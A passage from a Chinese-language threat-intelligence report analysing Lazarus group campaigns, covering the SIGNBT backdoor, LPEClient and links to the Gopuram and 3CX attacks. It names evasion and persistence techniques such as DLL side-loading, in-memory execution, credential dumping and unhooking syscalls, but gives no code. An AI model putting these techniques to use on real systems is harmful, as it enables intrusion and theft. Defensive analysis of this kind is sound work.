每个后门命令的名称都很简单,实现了常用的Windows命令,如ping、netstat和systeminfo。需要注意的是,后门能够为自动执行植入额外的有效负载,内部命名为“deploy”。这个后门函数通过使用AES解密的命令行参数接收文件路径,使用这个命令,可以观察到SIGNBT植入了如上所述的SIGNBT加载程序部分已经描述过的魔幻DLL。 经过分析,攻击者最初对受害者的攻击涉及利用软件漏洞,然后,他们开始使用DLL侧加载技术部署SIGNBT恶意软件。此外,攻击者使用后门功能“deploy”来为自动执行植入额外的有效负载。这种多方面的攻击表明了攻击的高度复杂程度。 LPEClient 使用如上所述的综合后门,攻击者在受害者的内存中部署了额外的恶意软件。值得注意的是,这些新发布的恶意软件变体主要只在系统内存中执行,而不干扰磁盘。根据研究人员的追踪分析,他们已经观察到攻击者向受害者设备提供了LPEClient和凭据转储实用程序等工具。 SIGNBT提供的额外有效负载 LPEClient恶意软件并不新鲜,最早是在2020年对国防承包商攻击的调查中发现的,它旨在收集受害者信息并从远程服务器下载额外的有效负载以在内存中运行。虽然之前已经有过报道,但最近的发现表明LPEClient已经发生了重大的迭代。它现在采用先进的技术来改进其隐身性并避免检测,例如禁用用户模式系统调用挂钩和恢复系统库内存部分。这表明攻击者在不断努力提高其恶意软件的复杂性和有效性。 与其他攻击活动的联系 此次攻击中使用的一种名为LPEClient的恶意软件在最近被认为是Lazarus组织开发的表现最为突出的攻击活动。这种特殊的恶意软件一直作为初始攻击载体,加速了有效负载的传播。在很长一段时间里,专门针对国防承包商和核工程师。 在最近的一次事件中,攻击者通过木马化的VNC或Putty客户端发送LPEClient进行中间攻击,从而攻击目标。另一个针对加密货币行业的活动是在2023年7月发现的,在这个以经济动机的攻击活动中,攻击者利用了与3CX供应链攻击有关的Gopuram恶意软件。有趣的是,在该样本中,攻击者还使用了LPEClient恶意软件。在引入Gopuram集群之前,LPEClient被用于传播后续的恶意软件。这三个被认为是Lazarus在2023年发起的攻击,说明了不同的初始攻击载体和攻击链,但它们始终依赖于LPEClient恶意软件来传递最终的有效负载。 2023年Lazarus攻击的三此活动的攻击链 总结 在当今的网络安全领域,Lazarus组织仍然是一个高度活跃和多才多艺的攻击者。攻击者已经展示了对IT环境的深刻理解,改进了他们的策略,包括利用高知名度软件中的漏洞,这种方法允许他们在初始攻击完成后有效地传播恶意软件。此外,这个臭名昭著的攻击者的活动超越了地理界限和行业部门,他们针对不同的行业有不同的目标,使用不同的工具、战术和技术,这突出表明他们最近的活动具有复杂的方法和明确的动机。